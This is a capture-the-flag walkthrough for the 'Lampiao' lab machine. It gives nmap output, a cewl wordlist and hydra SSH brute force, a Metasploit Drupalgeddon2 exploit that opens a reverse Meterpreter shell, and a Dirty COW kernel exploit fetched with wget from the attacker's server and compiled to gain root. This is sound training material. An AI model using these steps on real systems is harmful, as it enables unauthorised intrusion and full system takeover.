Lampiao
Reconnaissance
Nmap scan
Let's perform an nmap scan to find the open ports and the services running on the open ports.
$ nmap -T5 -Pn -A -p- 192.168.167.48
Starting Nmap 7.92 ( https://nmap.org ) at 2024-05-05 11:13 IST
Warning: 192.168.167.48 giving up on port because retransmission cap hit (2).
Nmap scan report for 192.168.167.48
Host is up (0.068s latency).
Not shown: 63450 closed tcp ports (conn-refused), 2082 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
| 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
| 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp open http?
| fingerprint-strings:
| NULL:
| _____ _ _
| |_|/ ___ ___ __ _ ___ _ _
| \x20| __/ (_| __ \x20|_| |_
| ___/ __| |___/ ___|__,_|___/__, ( )
| |___/
| ______ _ _ _
| ___(_) | | | |
| \x20/ _` | / _ / _` | | | |/ _` | |
|_ __,_|__,_|_| |_|
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|_/LICENSE.txt /MAINTAINERS.txt
|_http-generator: Drupal 7 (http://drupal.org)
|_http-title: Lampi\xC3\xA3o
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.92%I=7%D=5/5%Time=66371DCB%P=x86_64-pc-linux-gnu%r(NULL,
SF:1179,"\x20_____\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\|_\x20\x20\x20_\|\x20\|\x20\(\x2
SF:0\)\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\n\x20\x20\|\x20\|\x20\|\x20\|_\|/\x20___\x20\x20\x20\x20___\x20\x20_
SF:_\x20_\x20___\x20_\x20\x20\x20_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\
SF:x20\x20\|\x20\|\x20\|\x20__\|\x20/\x20__\|\x20\x20/\x20_\x20\\/\x20_`\x
SF:20/\x20__\|\x20\|\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20_\|
SF:\x20\|_\|\x20\|_\x20\x20\\__\x20\\\x20\|\x20\x20__/\x20\(_\|\x20\\__\x2
SF:0\\\x20\|_\|\x20\|_\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20
SF:\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\\___/\x20\\__\|\
SF:x20\|___/\x20\x20\\___\|\\__,_\|___/\\__,\x20\(\x20\)\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20__/\x20\|/\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|___/\x20\x20\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\n______\x20_\x20\x20\x20\x20\x20\x20\x20_\x20\x20\x20\x2
SF:0\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20_\x20\n\|\x20\x20___\(_\)\x20\x20\x2
SF:0\x20\x20\|\x20\|\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x
SF:20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\
SF:x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\|\x20\|\n\|
SF:\x20\|_\x20\x20\x20_\x20\x20\x20\x20__\|\x20\|_\x20\x20\x20_\x20_\x20__
SF:\x20___\x20\x20\x20__\x20_\x20\x20\x20\x20___\x20\x20__\x20_\x20_\x20\x
SF:20\x20_\x20\x20__\x20_\|\x20\|\n\|\x20\x20_\|\x20\|\x20\|\x20\x20/\x20_
SF:`\x20\|\x20\|\x20\|\x20\|\x20'_\x20`\x20_\x20\\\x20/\x20_`\x20\|\x20\x2
SF:0/\x20_\x20\\/\x20_`\x20\|\x20\|\x20\|\x20\|/\x20_`\x20\|\x20\|\n\|\x20
SF:\|\x20\x20\x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|_\|\x20\|\x20\|\x20\|\
SF:x20\|\x20\|\x20\|\x20\(_\|\x20\|\x20\|\x20\x20__/\x20\(_\|\x20\|\x20\|_
SF:\|\x20\|\x20\(_\|\x20\|_\|\n\\_\|\x20\x20\x20\|_\|\x20\x20\\__,_\|\\__,
SF:_\|_\|\x20\|_\|");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 346.34 seconds
There are three open ports:
| Port | Service |
|---|---|
| 22 | ssh |
| 80 | http |
| 1898 | http |
Additionally, we can see that port 1898 has Drupal version 7 running on it, which is vulnerable to the Drupalgeddon2 exploit.
Web enumeration
Let's visit the web server on port 80 through our browser.
Upon visiting port 1898 on which Drupal is running, we find two posts from the two different users.
| Users |
|---|
| tiago |
| eder |
We have to save these usernames in a users.txt file.
Generating passwords
Let's generate a password using tiago's blog post first.
cewl http://192.168.167.48:1898/?q=node/1 -w passwords.txt
Next let's generate a password list using eder's blog post.
cewl http://192.168.167.48:1898/?q=node/3 -w passwords.txt
Exploitation (vector 1)
Brute forcing SSH credentials
Let's brute force the SSH credentials using hydra.
$ hydra -L users.txt -P passwords.txt ssh://192.168.167.48
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-05-05 11:30:09
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 1688 login tries (l:2/p:844), ~106 tries per task
[DATA] attacking ssh://192.168.167.48:22/
[22][ssh] host: 192.168.167.48 login: tiago password: Virgulino
| Username | Password |
|---|---|
| tiago | Virgulino |
SSH login
We can now login through SSH using the credentials.
$ ssh tiago@192.168.167.48
The authenticity of host '192.168.167.48 (192.168.167.48)' can't be established.
ED25519 key fingerprint is SHA256:GGW0ASyjbhMycAKiglcXcsa0HvSwkLHZP9bQBtVrPs8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.167.48' (ED25519) to the list of known hosts.
tiago@192.168.167.48's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Sun May 5 03:04:20 BRT 2024
System load: 0.45 Processes: 142
Usage of /: 7.6% of 19.07GB Users logged in: 0
Memory usage: 29% IP address for eth0: 192.168.167.48
Swap usage: 0%
Graph this data and manage this system at:
https://landscape.canonical.com/
tiago@lampiao:~$
Exploitation (vector 2)
We know that the Drupal service is running version 7. This version is vulnerable to the Drupalgeddon2 exploit.
We can find the exploit on the Metasploit framework.
Using exploit module from Metasploit framework
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RPORT 1898
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set TARGETURI /
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.45.187
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
[*] Started reverse TCP handler on 192.168.45.187:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Sending stage (39927 bytes) to 192.168.167.48
[*] Meterpreter session 1 opened (192.168.45.187:4444 -> 192.168.167.48:45780) at 2024-05-05 12:42:10 +0530
meterpreter >
Post Exploitation
local.txt
tiago@lampiao:~$ cat local.txt
229d1846a96d66061cff6013cd7d1570
Privilege Escalation
Enumerating Privilege Escalation vectors using Linux Exploit Suggester
We have to use the Linux Exploit Suggester in order to find a privilege escalation vector.
We have two methods to get this script on the target machine:
- Download this script on our attacker machine and then transfer it using
wget. - Directly copy it into the target machine.
Once that is done we have to give execute permission to the script.
tiago@lampiao:/tmp$ chmod +x linux-exploit-suggester.sh
Now, we can execute the script.
tiago@lampiao:/tmp$ ./linux-exploit-suggester.sh
Available information:
Kernel version: 4.4.0
Architecture: i686
Distribution: ubuntu
Distribution version: 14.04
Additional checks (CONFIG_*, sysctl entries, custom Bash commands): performed
Package listing: from current OS
Searching among:
81 kernel space exploits
49 user space exploits
Possible Exploits:
[+] [CVE-2017-16995] eBPF_verifier
Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-rekt-linux.html
Exposure: highly probable
Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,[ ubuntu=14.04 ]{kernel:4.4.0-89-generic},ubuntu=(16.04|17.04){kernel:4.(8|10).0-(19|28|45)-generic}
Download URL: https://www.exploit-db.com/download/45010
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
[+] [CVE-2017-1000112] NETIF_F_UFO
Details: http://www.openwall.com/lists/oss-security/2017/08/13/1
Exposure: highly probable
Tags: [ ubuntu=14.04{kernel:4.4.0-*} ],ubuntu=16.04{kernel:4.8.0-*}
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-1000112/poc.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-1000112/poc.c
Comments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels
[+] [CVE-2016-8655] chocobo_root
Details: http://www.openwall.com/lists/oss-security/2016/12/06/1
Exposure: highly probable
Tags: [ ubuntu=(14.04|16.04){kernel:4.4.0-(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} ]
Download URL: https://www.exploit-db.com/download/40871
Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled
[+] [CVE-2016-5195] dirtycow
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5{kernel:2.6.(18|24|33)-*},RHEL=6{kernel:2.6.32-*|3.(0|2|6|8|10).*|2.6.33.9-rt31},RHEL=7{kernel:3.10.0-*|4.2.0-0.21.el7},[ ubuntu=16.04|14.04|12.04 ]
Download URL: https://www.exploit-db.com/download/40611
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2016-5195] dirtycow 2
Details: https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
Exposure: highly probable
Tags: debian=7|8,RHEL=5|6|7,[ ubuntu=14.04|12.04 ],ubuntu=10.04{kernel:2.6.32-21-generic},ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://www.exploit-db.com/download/40839
ext-url: https://www.exploit-db.com/download/40847
Comments: For RHEL/CentOS see exact vulnerable versions here: https://access.redhat.com/sites/default/files/rh-cve-2016-5195_5.sh
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Exposure: probable
Tags: [ ubuntu=10|11|12|13|14|15|16|17|18|19|20|21 ],debian=7|8|9|10|11,fedora,manjaro
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
[+] [CVE-2021-3156] sudo Baron Samedit 2
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: probable
Tags: centos=6|7|8,[ ubuntu=14|16|17|18|19|20 ], debian=9|10
Download URL: https://codeload.github.com/worawit/CVE-2021-3156/zip/main
[+] [CVE-2017-6074] dccp
Details: http://www.openwall.com/lists/oss-security/2017/02/22/3
Exposure: probable
Tags: [ ubuntu=(14.04|16.04) ]{kernel:4.4.0-62-generic}
Download URL: https://www.exploit-db.com/download/41458
Comments: Requires Kernel be built with CONFIG_IP_DCCP enabled. Includes partial SMEP/SMAP bypass
[+] [CVE-2016-2384] usb-midi
Details: https://xairy.github.io/blog/2016/cve-2016-2384
Exposure: probable
Tags: [ ubuntu=14.04 ],fedora=22
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-2384/poc.c
Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user
[+] [CVE-2015-3202] fuse (fusermount)
Details: http://seclists.org/oss-sec/2015/q2/520
Exposure: probable
Tags: debian=7.0|8.0,[ ubuntu=* ]
Download URL: https://www.exploit-db.com/download/37089
Comments: Needs cron or system admin interaction
[+] [CVE-2015-1318] newpid (apport)
Details: http://openwall.com/lists/oss-security/2015/04/14/4
Exposure: probable
Tags: [ ubuntu=14.04 ]
Download URL: https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c
[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)
Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
Exposure: less probable
Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2022-2586] nft_object UAF
Details: https://www.openwall.com/lists/oss-security/2022/08/29/5
Exposure: less probable
Tags: ubuntu=(20.04){kernel:5.12.13}
Download URL: https://www.openwall.com/lists/oss-security/2022/08/29/5/1
Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)
[+] [CVE-2021-3156] sudo Baron Samedit
Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
Exposure: less probable
Tags: mint=19,ubuntu=18|20, debian=10
Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main
[+] [CVE-2021-22555] Netfilter heap out-of-bounds write
Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
Exposure: less probable
Tags: ubuntu=20.04{kernel:5.8.0-*}
Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
Comments: ip_tables kernel module must be loaded
[+] [CVE-2019-18634] sudo pwfeedback
Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
Exposure: less probable
Tags: mint=19
Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
Comments: sudo configuration requires pwfeedback to be enabled.
[+] [CVE-2019-15666] XFRM_UAF
Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
Exposure: less probable
Download URL:
Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled
[+] [CVE-2017-7308] af_packet
Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c
Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels
[+] [CVE-2017-5618] setuid screen v4.5.0 LPE
Details: https://seclists.org/oss-sec/2017/q1/184
Exposure: less probable
Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154
[+] [CVE-2016-9793] SO_{SND|RCV}BUFFORCE
Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
Exposure: less probable
Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c
Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only
[+] [CVE-2016-4557] double-fdput()
Details: https://bugs.chromium.org/p/project-zero/issues/detail?id=808
Exposure: less probable
Tags: ubuntu=16.04{kernel:4.4.0-21-generic}
Download URL: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
Comments: CONFIG_BPF_SYSCALL needs to be set && kernel.unprivileged_bpf_disabled != 1
[+] [CVE-2015-1318] newpid (apport) 2
Details: http://openwall.com/lists/oss-security/2015/04/14/4
Exposure: less probable
Tags: ubuntu=14.04.2
Download URL: https://www.exploit-db.com/download/36782
[+] [CVE-2016-0728] keyring
Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
Exposure: less probable
Download URL: https://www.exploit-db.com/download/40003
Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working
Out of the many exploits suggested, we will be using the Dirty COW exploit.
Dirty COW
Let's start a Python3 server.
$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Now, let's use wget on the target to download the exploit from the Python server.
tiago@lampiao:/tmp$ wget http://192.168.45.187:8000/40847.cpp
--2024-05-05 03:49:16-- http://192.168.45.187:8000/40847.cpp
Connecting to 192.168.45.187:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10531 (10K) [text/x-c++src]
Saving to: ‘40847.cpp’
100%[==================================================================================================================================================================================================>] 10,531 --.-K/s in 0.03s
2024-05-05 03:49:16 (379 KB/s) - ‘40847.cpp’ saved [10531/10531]
Before we run the exploit, we have to first compile it.
tiago@lampiao:/tmp$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
Now, we can run the exploit.
tiago@lampiao:/tmp$ ./dcow
Running ...
Received su prompt (Password: )
Root password is: dirtyCowFun
Enjoy! :-)
| Username | Password |
|---|---|
| root | dirtyCowFun |
We can now login as the root user.
tiago@lampiao:/tmp$ su root
Password:
root@lampiao:~#
If we want to gain a shell directly, we can run the exploit with the -s flag.
tiago@lampiao:/tmp$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun
Received su prompt (Password: )
echo 0 > /proc/sys/vm/dirty_writeback_centisecs
cp /tmp/.ssh_bak /etc/passwd
rm /tmp/.ssh_bak
root@lampiao:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@lampiao:~# cp /tmp/.ssh_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh_bak
root@lampiao:~#
proof.txt
We can now cat the proof.txt flag.
root@lampiao:~# cat /root/proof.txt
133d5c0ad1d55b176113a9ded654df3f